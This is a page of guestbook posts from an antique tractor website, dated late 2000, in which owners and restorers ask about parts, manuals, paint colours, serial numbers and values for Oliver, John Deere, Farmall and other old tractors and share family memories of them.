woody wrote on Thursday, November 23, 2000 (PST):I owned a 10 for a long time,and really loved that tractor. I changed the motor from the stock 414 to a 466 with a "C" series cam. she runs 210 HP now and runs like a bear.watch out green cause here comes the RED.
RON WEHRKAMP wrote on Thursday, November 23, 2000 (PST):I BOUGHT A 220 ABOUT FIVE YEARS AGO IT IS RATED 136 HP IT HAS A CAB AND AND IS IN REAL GOOD SHAPE . THE CAB IS NOISY ON THE INSIDE DOES ANYONE KNOW HOW TO HELP THIS PROBLEM ?
Eric Kile wrote on Wednesday, November 22, 2000 (PST):I have an Oliver 1750 diesel tractor I bought last fall. I was wondering if anyone could tell me how to find the year it was made.
Raymond L. Norwood wrote on Tuesday, November 21, 2000 (PST):the previous mail was sent by mistake. I am wondering if the the drivers seat in the photo is stock. if so where can I find one.
James A wrote on Tuesday, November 21, 2000 (PST):My brother has a 44 high crop. rough but runs.
nick wrote on Tuesday, November 21, 2000 (PST):I am 13 and my grandpa had a 55 and a 555. If anyone has one of these tactors inoriginal condition for sale I would like to here from you. *tractor must be in western KS
Ernest Peters wrote on Monday, November 20, 2000 (PST):I have a friend who is restoring a 1939 General tractor. Are there any books with color pictures, etc available to get the original color paint?
Sidney Stone wrote on Monday, November 20, 2000 (PST):I,m loking for a steering box for a oliver super 55 gas model.If any one knows where i can get a box please e-mail me the information thak you Sidney
Eric Passmore wrote on Monday, November 20, 2000 (PST): Wanting information on a 1948? Leader Model D runs good complete, even looks good, fairly decent paint. Would like for someone to give me an idea of it's value? Maybe would sale ?
Eric Passmore wrote on Monday, November 20, 2000 (PST): Wanting information on a 1948? Leader Model D runs good complete, even looks good, fairly decent paint. Would like for someone to give me an idea of it's value? Maybe would sale ?
Eric Passmore wrote on Monday, November 20, 2000 (PST): Wanting information on a 1948? Leader Model D runs good complete, even looks good, fairly decent paint. Would like for someone to give me an idea of it's value? Maybe would sale ?
Steve Behredsen wrote on Sunday, November 19, 2000 (PST):Easy on the throthle, our oliver was 6-cly gas and narrow front end. Great first tractor,in the 60's, an frist place in Iowa's Pochantas county fair. My question is , I thought that the number on the side read, "760" Oliver is this possible? or am I wrong?
Roxane wrote on Sunday, November 19, 2000 (PST):I have john deere B for sale on ebay right now it has 7 days left on the auction, it is located in farm equpit section of everything else catagory. also have a 48 B which has not been posted yet email me with questions.......
Roger T. wrote on Sunday, November 19, 2000 (PST):Looking ffor a rebuild kit for oc-3 crawler w/3 cylended motor. Help Please
JIM { HOSS } CLARK wrote on Saturday, November 18, 2000 (PST):I own a gas powered SUPER 55. In fact we still own the first one to come into Bedford County Pa.. How I know this is that my dads uncle Jack Conner was the Oliver dealer in Bedford County and we were the first ones to buy a Super 55 in that county. Due to uncle Jacks INTEGRITY & HONESTY he had a really great business. We lived in a very heavily populated OLIVER area and uncle Jack sold 99.9% of all the OLIVERS that came into Bedford County plus all the implements that went with them. We are in the process of restoring our little Oliver at this time. I have either helped restore or started & finished several blue ribbon winners. Our super 55 was our main tractor for many years, until back in the mid 70's my uncle Bill purchased a diesel 1600. We still have both of them and since we have gotten away from farming we use them only to mow the old pasture and plow snow. They are both getting a well diserved rest now. They are like family and will probably be around as long as any of the family is alive. They were truely great tractors. A good friend of mine Lynwood Mearkle has about 10 or 12 Olivers. He is still farming and uses them today and they all look like they just unloaded them off the dealer delivery truck. He and his dad both bought tractors from uncle Jack. I will be more than happy to help anyone find parts or whole tractors should they want me to. I drive a cryogenics transport delivering nitrogen - oxygen & welding gasses and cover quite a bit of ground. I am constantly looking for antique cars ,trucks & farm equipment and of course tractors are at the top of the list. Let me know what parts you are in need of & let me see what I can come up with. Not all old tractors have to die & it's up to people like you & myself to see they don't. Thank You HOSS
Ellwood D. Miller wrote on Saturday, November 18, 2000 (PST):My father bought an R in 1954 sn 19863. Sold it in 1957. I began looking for it in 1988. Found it, 1996,bought it,1998.It was still being used on a farm. It is back home. A local newspaper did a story, called it,"darned old Tractor",a quote from my father.
jason schott wrote on Friday, November 17, 2000 (PST):We have a 966 BLACKSTRIP that really is a fun machine to drive. All that I can Say is I'll always be loyal to the power of Red
Don Henscheid wrote on Thursday, November 16, 2000 (PST):We are in the process of restoring my grandfathers '53 Ford Jubilee. Just discovered are pictures of his 1929 Case L. I would love to find one to restore. Those were great tractors! Any info on price ranges options etc. Thanks
Dave Bush wrote on Wednesday, November 15, 2000 (PST):I had the pleasure of buying one of these behemoths. I rescued it from a gentleman who owns a museum in Algoma , Wi who hadn't run it for over ten years. It'll look perfect next to my 18-28 and Olver Hart-Parr 70
F. J. Skretta wrote on Wednesday, November 15, 2000 (PST):What is the weight of an Oliver 770 Gas with a wide front? Please email me at SkrettaImplement at aol.com Thank you....
chris wrote on Wednesday, November 15, 2000 (PST):where is the serial number located on the cub tractors?
T Harvey wrote on Wednesday, November 15, 2000 (PST):Does anybody know where we can find Minneapolis-Moline toy tractors? Thanks,
Bill S. wrote on Wednesday, November 15, 2000 (PST):Nice looking D-15! I have one and use it daily but it doesn't look quite as good as this picture. I am having some problems with mine and would like anyone that can give me some tips on this fine tractor as to tune-up etc. I do plan to restore it in the very near future. Thanks.
Andy Rock wrote on Tuesday, November 14, 2000 (PST):I am helping out a friend. He has a 51 Super M his father purchased new. It was burned in a barn fire in 1999 and he is trying to restore it to Original condition. Can anyone help us find information on the exact decaling of the instrument panel, gear shifter, and the like?
Jeremy Walker wrote on Tuesday, November 14, 2000 (PST):I have a MM GIVLP that i bought from welters equipment in 1983. We pull it from 6500-14,000lbs in the no blower classes. We do not pull it any more because the other tractors can not bet it. So they outlawed it in the Midwest
Linda Morrow wrote on Sunday, November 12, 2000 (PST):I have a Cockshutt 50, 6R230, 1951 or 52, T5400. Am ready to put it up for sale... any ideas about its value? It runs, has a front-end loader also, and has done a lot of work for us. In good condition, with PTO also.
Ben Guthrie wrote on Sunday, November 12, 2000 (PST):Was metal detecting in a yard, my five year old son came up behind me and jokingly I asked him what he would like me to find for him. He said a little tractor with a man on it. While he was whatching me I proceeded to dig up a very small toy tractor with a man on it. It was incased in mud and about five inches down. That was 25 years ago. I just now got on this page to discover it is a Massey Harris 44. Any info on it would be appriciated.
joe maurath wrote on Saturday, November 11, 2000 (PST):recently purchased a 1952 case vac 12, narrow front.I am looking to restore this tractor but new to the game. Were can parts be purchased? currently need steering gears. do they still manufacture these parts or have stock remaining? St. louis, missouri area
kodiak wrote on Friday, November 10, 2000 (PST):1066 5000-7500k 806 4000-6500k price accordingly and don't buy from implement dealer forbest price any way if you got to ask you cant afford any way
TIM wrote on Friday, November 10, 2000 (PST):I am trying to locate a international 1000 front end loader. It fits a farmall cub. It is a single arm loader.Any info would help.
Robert Eastman wrote on Friday, November 10, 2000 (PST):I now co-own a #730 diesel wide front by John Deere. I went to an auction to buy an early Ford tractor, the kind that I leaned how to drive on when I was a boy. When I saw the #730, and in a remarkably good condition, I had to have it. Those of you who went through the collecting of 60s muscle cars, as I did, know how this feels. I have some questions for anyone who knows this type of tractor. It was built in 1958 or 1959. It is the 2 cylinder type of diesel with the 24 volt electric start, and the compression release pedal start. QUESTIONS; What is the horsepower rating on this tractor? Because it has the wide front and is quite tall, is this considered to be a "row crop" tractor? Or a "high crop" tractor? The hood has no provision for an aircleaner to be extended through the hood. Is this unusual or is this incorrect? There is no hole in the hood where there should be one for an aircleaner extension. I have purchased the tractor in just the past few days. I would appreciate any help with suggestions for manuals for parts, service, or owners manuals. I have found a listing for some on the antiquetractors website. I'm sure those will do fine, but any additional suggestions will be welcome. This is my first tractor, and I have a long way to go to learn how to properly maintain it. In the small town where I live, there is a John Deere dealership and service center. A big reason why I chose John Deere over other quality brands. If I need to, I can drive it over to the service center, or for really big problems, they can come get it with truck and trailer for a short haul. Also, what batteries should be in the tractor? I know that it takes two 12 volt batteries. The ones that are in it look small. The ones that are in it seem to be doing the job, but there is a CENTRAL TRACTOR/FARM AND COUNTRY nearby. If I were going to buy new batteries, what part # with what features would you recommend? Also, the matter of cold weather starting. So that I do not "have to reinvent the wheel", what methods work for you? I have ruled out the use of eather because of the extremely thin "squish" area of the pistons to cylinders clearance. Serious damage could occur. I have my own ideas. I think that this is quite enough for my first letter. A BIG THANK YOU to the Tractor Shed for this forum, and to its' readers.
robert sterling wrote on Tuesday, November 07, 2000 (PST):I am in the process of restoring AOS 1179. Any advice or extra parts for an AOS you may have would be appreciated.
Johnnie Tudyk wrote on Tuesday, November 07, 2000 (PST):Like the 1950 just purchased a 2050 4 wheel drive.It has wheel guard fuel tanks.Would like to sell or swap for regular fenders. Need a seat assembly for same tractor
Jared Rock wrote on Tuesday, November 07, 2000 (PST):Hey I love this site. And I like that Cub Lo-Boy. But it needs some work on the appearance. I love those Cubs and Cub Lo-Boys.
Felix Cincotta wrote on Monday, November 06, 2000 (PST):my father bought a 2010 in the 70's he was the second owner. the first owner only used it to run a p.t.o. elevator and that was it. about 10 yrs ago he made the mistake of starting it in the cold with water in the radiator needless to say the block didn't take to that too good. he took the engine out parked it out back and left it until 2 yrs ago. i am 18 yrs old and i made him bring it inside so it wouldn't rust anymore i plan on restoring this fine machine. it's a rowcrop gas with big tires in the back. i was curious as to y alot of peoeple have deemed the 2010 as a lousy tractor. ours never gave us trouble till my dads foolish error. we also own a 2510diesel and love new generation tractors
Sven Mattsson wrote on Sunday, November 05, 2000 (PST):A friend of mine needs a steering gear for his 1964 Super Dexta. Can somebody tell me where to find one?
Dave wrote on Friday, November 03, 2000 (PST):I have a 550 which we got when we bought our place. We cut and bale hay, spread manure, blow snow and use it for odd jobs. Right now I am in need of bearings for the steering box and steering column. Any info would be appreciated
doug floch wrote on Thursday, November 02, 2000 (PST):I have a 1955 ferguson to-35 tractor with a Davis loader on it. It was bought new by my late father. Does anyone know if there is an aftermarket power steering unit that can be added?
Franklin wrote on Thursday, November 02, 2000 (PST):I have recently restored a 1940 Farmall B. I am looking for a set of cultivators (possibly B-238)to use an a attachment for shows. If anyone knows where I might locate a set in the Tennessee, Kentucky or Alabama areas, please drop me a line. Thanks.
Keith Davies wrote on Thursday, November 02, 2000 (PST): When I was growing up on our farm at Dauphin Manitoba Canada my Dad had one of these on steel wheels, he also later got a model LA, we also had a model S case. Both my brother and I have driven these. I'am now in the Royal Canadian Mounted Police in British Columbia Canada, and often recall those days growing up on the farm. I met one of my fathers old Hired Men, he told me that when the model L case was new, my dad and the Hiredman "Reg" used 450 , 45 gal of fuel in one year, the tractor was worked around the clock. with a lantern hung on the front for night. If you have any models of these three i would like to send one to my brother Clark who still lives onthe farm in Dauphin Manitoba
Kevin Kryshak wrote on Thursday, November 02, 2000 (PST):Hi! I own a Super 55 Gas that I use at my cottage in the U.P. of Michigan. It is original paint and drivetrain. I will try to figure out its year and then I will be able to help with paint questions. It has green front wheels and Red rear. It has been converted to 12 volt and has a Wagner Loader from a Ford on it. (Boy does that red-orange clash with the Oliver red!) All the instruments work, and the hours meter just turned 600, although that may not be accurate. Bye!
Jason Beatty wrote on Thursday, November 02, 2000 (PST):I am looking for a super 44 and a 99 can you help
Michael Locher wrote on Wednesday, November 01, 2000 (PST):does any one have a 1468 or 1568 V8 for sale in excellent condition
Jim Gunter wrote on Wednesday, November 01, 2000 (PST):The Industrial version of the Model 60 was in fact produced only three years. 1946 - 48. Near as I can tell, approximately 815 tractors all told. I have one. Runs better than I do.
Bob Swinney wrote on Wednesday, November 01, 2000 (PST):I have a G1000 Vista. Looks like the one pictured,but it doesn"t have a cab. Does anyone know where a cab is for a 1000.
Ed Strobel wrote on Wednesday, November 01, 2000 (PST):I have a m5 thay I bought new in 1960 It still runs well and can do a good days work.I will have to get rid of it soon. Anyone interested?
jeff thoner wrote on Wednesday, November 01, 2000 (PST):do you want to sell this tractor. if you do tell me how much you want for it
Lance Olson wrote on Tuesday, October 31, 2000 (PST):WE have a 1940 model B, it was purchased new by my wifes Grandfather and we bought it when he could no longer live on the farm. My wifes father grew up with the tractor and I remember him telling me he liked cultivating with it because you sat directly over the row, it has a "Cultivision" decal on the hood. My wifes Grandfather kept the tractor when he retired sometime in the mid 1950s and put a Sears belly mower on it. We have used it to mow the winbreak we planted at our place 12 years ago.The "little B" no longer fits between the evergreens and we were thinking of selling it.Can anyone give us a value for this tractor, it looks and runs great.
Lance Olson wrote on Tuesday, October 31, 2000 (PST):WE have a 1940 model B, it was purchased new by my wifes Grandfather and we bought it when he could no longer live on the farm. My wifes father grew up with the tractor and I remember him telling me he liked cultivating with it because you sat directly over the row, it has a "Cultivision" decal on the hood. My wifes Grandfather kept the tractor when he retired sometime in the mid 1950s and put a Sears belly mower on it. We have used it to mow the winbreak we planted at our place 12 years ago.The "little B" no longer fits between the evergreens and we were thinking of selling it.Can anyone give us a value for this tractor, it looks and runs great.
C.W.Broughton wrote on Tuesday, October 31, 2000 (PST): To Mike; You can get complete tractor manuals from Intertec P.O.box 12901,Overland Park,KS 66282-2901 or through the net from Binder Books in Tigard,Oregon...their phone is (503)-684-2024. Binder also has many of the implement manuals for the Cub and Low-Boys..hope this helps
Elwin Muntz wrote on Tuesday, October 31, 2000 (PST):Looking for correct paint for Wallis 20-30
Lev A .Garland wrote on Tuesday, October 31, 2000 (PST):My step son and I have built a replica of a 1923 8-16 , using a riding lawn mower frame it is about one half scale. It took almost 2 years to build. We take it to shows along with other things ( 1936 f-30 wide track and IHC horse drawn equipment lots of fun!!!}
Bennie H wrote on Monday, October 30, 2000 (PST):I have a 1966 Ford 2000, gas engine, 4 speed transmission, which I have repainted and now need a decal set. Can anyone tell me if there is an internet site where I might purchase a decal set for this model tractor?
John Badenhop wrote on Monday, October 30, 2000 (PST):My Father-n-law and Myself Own 4 Allis-Chalmers 1949 model "G"...We have completely restored 3 out of the four tractors...from the tear down and rebuild of the N62a block to the head and tail lights.Parts are becoming very hard to come of now..for one, the power take off, the mowing decks, and the original light\generator combination switches...Does anyone know where i may find these items, used...working or need of repair...Note to all who are rebuilding your N62 motors....for some strange reason, the pistons will only come out from the bottom, not the top, as i and others have ran into this problem on several motors... Happy Tractoring............... 8)
Ohio Dairyman wrote on Monday, October 30, 2000 (PST):We use a 1066 blackstripe with Cab to pull a newholland 900 forage harvestor. It's outfitted with a turbocharger, that baby can pull a full load up hill and keep right on chopping that corn or hay. no bog down. It can go 24-25 mph shuttling between farms. Most modern machinery is limited to 19-20 mph
ryan balodis. wrote on Monday, October 30, 2000 (PST):When was the Massy Feguson company invented?. If you have a photo on hand please send it to me. Thanks heaps Ryan.
butch wrote on Monday, October 30, 2000 (PST):this tractor kicks aaaaaaaaaasssssssssssssssssssssssssssssss
Darol wrote on Sunday, October 29, 2000 (PST):At Merced College in California we have a Model AO dating back to 1936. However, the ID tag states only Model A but the serial number refers to all AO parts in the book. Do we have a true AO or some kind of hybrid? The fenders have been scabbed back together after some branch blight as some point in time but the hood has the protector shield over the fillers. True AO or what?
Brent Beyer wrote on Sunday, October 29, 2000 (PST):I need a carburator and some other misc. parts for a 46 Oliver 60 any help would be appreciated.
DALE SMITH wrote on Sunday, October 29, 2000 (PST):DOES ANYONE KNOW HOW TO CHECK THE OIL IN THE STEERING GEAR
pat vandiver wrote on Sunday, October 29, 2000 (PST):My dad farmed with A.C.'s when i was a woungster.My beighbor has a D-19 for sale and I am thinking about buying it.Appears to be a good clean,dry tractor that is always parked under a shed. asking price of $2500.oo IS this a fair price if not what would be? It also has a 3 bottom a.c. plow with it at that price.
charlie r lewis lufkin texas wrote on Sunday, October 29, 2000 (PST):ihave a oliver oc3-42 ser# 19wh-138 wouldn take less than 4,ooo.oo for it and would like to find yr model of it, thinking about putn v6 buick w/ auto
Bob Potter wrote on Sunday, October 29, 2000 (PST):I have a 8 N, how do I get the entire hood off so I can paint it? And How do I get the grill off? thanks for any help.
Mike wrote on Sunday, October 29, 2000 (PST):Just purchased 1953 Farmall Cub w/ blade and mower deck for $2600. Was completely restored prior to purchase. Can't seem to find a lot of info. on '53's. Looking for a manual and would like to know where to get one. Was this a good buy?
Henry Hanson wrote on Sunday, October 29, 2000 (PST): I just purchased a 1952 To-30. Thanks to this web site I was able to figure out what year it was built, Thank you all. I learned how to drive a tractor when I was 11 years old. My Grandpa tought me. He had a Ford 8N. Since then I have wanted either a Ford or a Ferguson. I found this Ferguson to-30. Since then my son has been on it none stop making trails and dragging trees. It sure beets having him skating boarding and getting into trouble, if you know what I mean. I once red a saying on a sign on a farmers lawn "The outside of a horse, is good for the inside of a man", the same is true for a tractor.
John Quick wrote on Saturday, October 28, 2000 (PDT):I am looking to buy a Farmall Cub. I live in Southern California. Project or runner OKAY.
john quick wrote on Saturday, October 28, 2000 (PDT):I'm looking to buy an L or LA John Deere tractor. I live in Southern Calif. Project or runner OKAY.
Sam wrote on Saturday, October 28, 2000 (PDT):Steve wrote July06/99 about kit to hook two Ds togeather.I made my own kit. Both front axels where removed hydrolic sterring works great . anyone want to purchase it? any one have any ideas as to what to put in the cylinders to help lossen seised engines?
DALE SMITH wrote on Friday, October 27, 2000 (PDT):IM LOOKING FOR BOOKS ON THE FORD SUPER DEXTA . JUST GOT ONE AT FARM SALE.
mark wrote on Friday, October 27, 2000 (PDT):Looking for a hyd.bank that goes under the seat on a 550 oliver gas tractor to control external hyd. cylinders for lifting machinery up, I have a 55 oliver that has this on and am looking for a bank for the 550. IF anyone knows where I can find one please let me Know Thanks alot.....
Jessie Ash wrote on Friday, October 27, 2000 (PDT): any information on how to aquire a repair manual for the 70 Oliver rowcrop. A 1944- 1945 model.
Ches Booth wrote on Friday, October 27, 2000 (PDT):I currently, own a 1957 John Deere 720 standard diesel tractor. The tractor is used for ploughing and cultivating, annually. I have restored the tractor through my own Machine and customn fabrication business, Dunfiddich Machine Works Inc.
mike hamby wrote on Friday, October 27, 2000 (PDT):I have growed up around tractors all my life big tractors and small tactors and now at 30 i am a heavy eqepment operator i run late model eqepment but i still love old tractors the jd 720 is my favorte of all tractors my good old dad bought one from a old man whitch who had bought the 720 new and every time the old mam got done useing it he wash it my dad bought the 720 to use he gave 1500 for it it was one of the slickest tractors i ever seen and ran great the pony was kind of hard to start but i guess you had to be smarter than the pony i trid to talk him in to putting a new paint job and makeing look like it came off the show room floor but he made 2500 proft on it and sold it i couid have kicked his ass but it was his i hope to own one soon just like the one pictured above great looking tractor
mike hamby wrote on Friday, October 27, 2000 (PDT):I have growed up around tractors all my life big tractors and small tactors and now at 30 i am a heavy eqepment operator i run late model eqepment but i still love old tractors the jd 720 is my favorte of all tractors my good old dad bought one from a old man whitch who had bought the 720 new and every time the old mam got done useing it he wash it my dad bought the 720 to use he gave 1500 for it it was one of the slickest tractors i ever seen and ran great the pony was kind of hard to start but i guess you had to be smarter than the pony i trid to talk him in to putting a new paint job and makeing look like it came off the show room floor but he made 2500 proft on it and sold it i couid have kicked his ass but it was his i hope to own one soon just like the one pictured above great looking tractor thacks
don wrote on Friday, October 27, 2000 (PDT):looking for a jd h or m in the midwest,in desent shape we are in the up of mi. e mail at travelingdaddy at webtv.net, pictures if poss.and price
ROXANE wrote on Friday, October 27, 2000 (PDT):hello- was wandering if anyone could give an estimate of what price range is on any JD B's have one and just curious.
Shaun Young wrote on Friday, October 27, 2000 (PDT):i thank that the farnall super md is the best tractor every made i will love to hve one my good firend andy's grandpa had one
Ron Duttweiler wrote on Friday, October 27, 2000 (PDT):I have a 300u with a loader and I am very pleased, but I need parts for the manual steering. I noticed another person who was looking, does anyone know where to get parts, new or used?
BOB wrote on Thursday, October 26, 2000 (PDT):MY DAD HAD A "D" THAT MUST HAVE BEEN ONE OF THE LATER MODELS. IT WOULD PULL A TANDEM HITCH OF 12FT. SWEEPS AND A 12FT. JD ROD WEEDER WORKING SUMMERFALLOW OR FOUR 16IN. BOTTOM JD ROPE TRIP TRAIL PLOW. BORROWED OUR NEIGHBORS 10FT. GRAHAM HOEME CHISEL PLOW ONE TIME AND THAT 'D' WOULD STRAIGHTEN THE SHANKS OUT IN HARD GROUND. I DROVE MANY MAKES AND MODELS OF TRACTORS AND THE 'D' AND 4020 ARE MY FAVORITES.
Cecil Isaac wrote on Thursday, October 26, 2000 (PDT):My partner has a D15 or a D15 series2. We had a look at the pictures and noticed that our D15 has the muffler on the left side of the engine. can anyone tell me what series this tractor is?
Kevin Parker wrote on Thursday, October 26, 2000 (PDT):I own a TO35 1959,and I need to know what was the original color or colors were.
Dave Lovett wrote on Thursday, October 26, 2000 (PDT):I Have a 36 F-20 a man in the Church that I pastor sold it to me.His father bought it new. I have been able to find most parts at my local Case/IH dealer.
Rita Farrow wrote on Thursday, October 26, 2000 (PDT):A member of my family has a Avery-y-series that he is giving us,if we want it,another family member who is into restoreing antique tractors,says its not the kind you want to restore,but I think it,s a real neat old tractor.what do you think
Jerry wrote on Thursday, October 26, 2000 (PDT):I have a 1949 John Deere MT that I am parting out. I have many good parts for this tractor. If there is something you need for restoration or repair let me know by e-mail.
Jerry wrote on Thursday, October 26, 2000 (PDT):I have a JD 50 and a JD 60 that I am parting out. I have quite a few parts for these tractors. If there is anything you need for restoration or repair let me know by e-mail. Just click on my name above.
Jerry wrote on Thursday, October 26, 2000 (PDT):I am parting out a 1960 M-5 diesel. I have quite a few good parts for this tractor. If there is something you need for repair or restoration let me know by e-mail.
Tristan Garwood wrote on Thursday, October 26, 2000 (PDT): My dad ownes an 88, 770, 1600, 1650, 1800, two 1755's and I use at least two everyday to fed with and I'm 13 and wouldn't trade them in for any thing else. There the best tractor every made because of the live power. He also ownes a 2-135 White FWA and a 2-155 two wheel drive and they both get used alot and I like the three speed on them but they shift alittle hard.
Tom wrote on Wednesday, October 25, 2000 (PDT):I am looking for a restorable H for my son and I to work on together. I cannot afford one that has already been restored, I am looking for one under $1000. We live in Minnesota. Thanks for any response.
Richard wrote on Wednesday, October 25, 2000 (PDT):I reciently purchased a international utility ser.No.1152 the tractor has a 4 cylinder gas engin front loader.someone has removed the emblims so I don`t know if it is a 300 or a 350 can anyone help.
Mike Swanick wrote on Wednesday, October 25, 2000 (PDT):HI I too recently purchased a '41 9n. It had a stuck lifter,and a bent valve-I took care of them. When warmed up it often shuts down -no spark.any solutions? also it seemed to run better with choke part way out- I tried adjusting the carb but no sucess any suggestions? thank you
Gary Brown wrote on Wednesday, October 25, 2000 (PDT):Looking for model70 to buy. Please email me on any leads as to where to find one.
Geldof Michel wrote on Wednesday, October 25, 2000 (PDT):We bought some 3 years ago a MH GP 4WD in Canada - Manitoba. We rebuild the tractor complete with succes. Now we have some problems with Spark Plugs. We are looking for the original (or equivalent) spark plugs. Now we have spark plugs from "AUTO LITE transport TT8", are these original? They always did very good there job just till now. Can somebody help us to find the right spark plugs? We are from Belgium and have a have a wide collection of antique tractors (some 120 rebuild). e-mail us please; steven.vanderbeke at geldof.be
Lane wrote on Tuesday, October 24, 2000 (PDT):I am restoring a (big) Oliver / (little) Hart Parr that I am told is a 1936. The stripe at the top of the belly tub looks to be yellow instead of red, like the picture above. Is this a case of fading from red to a yellow hue or were the older Oliver/Hart Parr's yellow striped?
Eric wrote on Tuesday, October 24, 2000 (PDT):Carmen&Bruce,yellow grill and red pinstripe on frame rails with 60 in yellow. Red wheels hubs green. My E-mail is epercy44445 at aol.
David Firmin wrote on Tuesday, October 24, 2000 (PDT):What would a D-21 in decent running condition be worth? i may be able to get my hands on one shortly here but i'm not sure whether it is running or not.
Maurice R. Vary Jr. wrote on Tuesday, October 24, 2000 (PDT):I grew up on two John Deere B's a 60 and a 420 dozer. Wish I could go back.
Adam Peaslee wrote on Tuesday, October 24, 2000 (PDT):Just bought a 44 Special. It needs a paint job, but no one seems to sell Massey Harris paint. If anyone can help, please email me. Thanks.
Tim Ecker wrote on Tuesday, October 24, 2000 (PDT):I Was woundering were I can find Info. on an Oliver 70 standered not an orcherd or a row crop. I also need to know were I can get parts for on this tractor such a rear fenders, seat and a book.
Eric Mickelson wrote on Tuesday, October 24, 2000 (PDT):I bought a D-21 at an auction a few years ago. I use it to farm about 300 acres in NW Minnesota. The motor is smooth and uses very little oil. It is a real workhorse. I am a John Deere fan, but would definitely buy another D-21 if I came across the right deal!!
Claude Belcher wrote on Tuesday, October 24, 2000 (PDT): I'm looking for a MC. If there any in the Washington state area please I sure would be interested. I have an M tractor and the two would go together well. Let me know
Russ Stauffer Calgary AB CAN. wrote on Monday, October 23, 2000 (PDT):I am restoring a 1942 farmall A serial # IAA 95055 I realize the I stands for industrial and I want to paint it back to its original color YELLOW , but I don't know the shade of yellow.Can someone help me with the paint code? Thanks
Russ Stauffer Calgary AB CAN. wrote on Monday, October 23, 2000 (PDT):I am restoring a 1942 farmall A serial # IAA 95055 I realize the I stands for industrial and I want to paint it back to its original color YELLOW , but I don't know the shade of yellow.Can someone help me with the paint code? Thanks
greg jones wrote on Monday, October 23, 2000 (PDT):I need parts for HD7, Especially stabilizer spring and drive parts.
Jean-Pierre Couture wrote on Monday, October 23, 2000 (PDT):I just start to restore my dad's Farmall 1936 F-12. (Sept.2000) The color is red now. Is it original? From the serial number,it should be grey, i think.(fs56350). I would like any information about the color with a picture of a F-12 with the grey paint. Thank you JP
christopher le sauvage wrote on Monday, October 23, 2000 (PDT):I HAVE PRESENTLY 37 JD A AND 41 JD B IAM INTERESTED IN BUYING A EARLY ELECTRIC START PREFER ALL RESTORED AND READY TO SHOW-NO I WILL NOT SELL MY OTHER 2 WILLING PAY MARKET PRICES
Brian Hartman wrote on Monday, October 23, 2000 (PDT):I am about to restore a 1947 Standerd, but also have a 1940 for parts. I will have many parts left from the 40, if you need something, drop me a line.
steve brock wrote on Monday, October 23, 2000 (PDT):I am looking for a redone H or a rebuildable H thanks for answering.
Bill Jeffrey wrote on Monday, October 23, 2000 (PDT):Anybody know of a D17 for sale in Georgia/Alabama/South Carolina? Grew up in South Arkansas now I live south of Atlanta, and I want one to keep.
Mark Jackson wrote on Monday, October 23, 2000 (PDT):I am an Ag-Science teacher in Milford, Texas. We recently recieved a Ferguson tractor for my Ag Power and Machinery class to work on. The Serial Number on the tractor TO-15098 Does anyone know anything about this tractor? Is this a TO-20 ? THe tractor seems to be in decent shape and we are Planning on restoring it if we can find the manuals and parts we need. Please E-mail any help you can give.
Donald Ross wrote on Monday, October 23, 2000 (PDT): Here in the Highlands of Scotland we have a 1946 "D" petrol/kerosene bought new, it was used until 1965 as a ploughing tractor. All the local farmers bought tractors with rear likages in the 50's but my grandfather never saw the point of changing a system which worked so well, it was only when tax free diesel came in that he changed his mind.We restored it in 1991 and she goes to the local ploughing match.
WAYNE ANDREWS wrote on Monday, October 23, 2000 (PDT):i have just started to restore my fathers 9n fordferguson tractor. iam having a problem with the serial no. (101386*) is it a 9n tractor or 2n tractor. the serial seem to overlap. how can i know for sure what it is? thanks wayne
Julio Manalo wrote on Monday, October 23, 2000 (PDT):I have a wide end 560 diesel, D282 engine, runs great, used for sugarcane cultivation in Negros, Philippines. I don't use it anymore, will sell for $4,000. Anyone interested?
Troy Patterson wrote on Sunday, October 22, 2000 (PDT):im looking for manuals for a 1949 M, my grandfather has one and would like to rebuild it. Im not sure what im looking for can anyone help me. Thank you>
Chuck Heck 7735 S.R.48 , Aurora ,IN, 47001 wrote on Sunday, October 22, 2000 (PDT):I think the best source of I.H. information is Red Power Magazine. Address is PO Box 245,Ida Grove,IA,51445-0245. Phone # 712-364-2131. GOOD LUCK!!!
Chuck Heck wrote on Sunday, October 22, 2000 (PDT):We own a 1937 CO-OP #3, restored & purrs like a kitten!!! Built for CO-OP by the Duplex Printing Press Co. of Battle Creek MI. It's a gem.
Tom Saathoff wrote on Sunday, October 22, 2000 (PDT):Jim, I just happened to see your letter and was surprised that no one has responded yet. The fix is pretty simple, assuming "good luck" that the water pump pulley isn't froze. The pulley is in two seperate sections that screw and unscrew to tighten or loosen the belt. At the front of the pulley there is a set screw that needs to be loosend then you can take a rod and hammer and tap on the lugs on the pulley face to move it. More than likely the damn thing (all of mine) haven't been adjusted for a long time and are froze. Use a liberal amount of good penetrant and tap a little, resoak, repeat as much as needed. I have had to pull the radiator and fan to get room to work on this. Desperate measures. Hope this helps you. It would be a good idea to get an owners manual for the M. They are still availible from Case IH or other sources. Tom
James Garey wrote on Sunday, October 22, 2000 (PDT):The Massey Ferguson 97 was built by Oliver with a Detroit engine.
Harley H wrote on Sunday, October 22, 2000 (PDT):We have a Model K, Might consider selling it. It has a dozer blade. Engine is very good but the right steering clutch has a problem.
Greg Thompson wrote on Saturday, October 21, 2000 (PDT):I would like any imformation about F-12 electric start years and number made
T-n-T Machine Shop wrote on Saturday, October 21, 2000 (PDT):We rebuild motors and have restored many Olivers. We have several friends who also own Olivers which we compete with at tractor pulls. If you still need information on you 3 Olivers,E-mail us at cawthon at cameron.net We are in Missouri, Where are you?
T-n-T Machine shop wrote on Saturday, October 21, 2000 (PDT):We own a machine shop which specializes in rebuilding and restoring antique and classic tractors. We have built motors with increased horsepower for Oliver 66,77,88, 88 diesel, and have possesion of Oliver 70 & most of needed parts to assemble Oliver 60(cute little tractor our 9 year old daughter will probably pull). We will try to give your hard to find parts list to a friend who purchased 3 pick-up load of Oliver parts at an auction. We live in Polo, Mo which is close to Kansas City. We have several manuals and books on Olivers. We also build motors for JD, Massey's, Farm-alls, AC etc.. E-mail us cawthon at cameron.net
anthony yarber wrote on Saturday, October 21, 2000 (PDT):there were 110 model c jd tactors made,do you have any information on such,or do you know whom i could get some from?
Robert Hanke wrote on Saturday, October 21, 2000 (PDT):My father has two 1939 f-14 tractors to restore into one. As the mechanic in the family I have been recruited to help. Also with internet expierence I am sendind out a plea. We are looking for a front steel wheel for our single wheel front end. Anybody know of one?
Eric wrote on Saturday, October 21, 2000 (PDT):I am searching for blueprints/schematics for oil pulls. I plan to offer a casting kit for a running 1/8 scale model. please email me if you have any info on blueprints / schematics, or if you are interested in one of the kits. thanks!
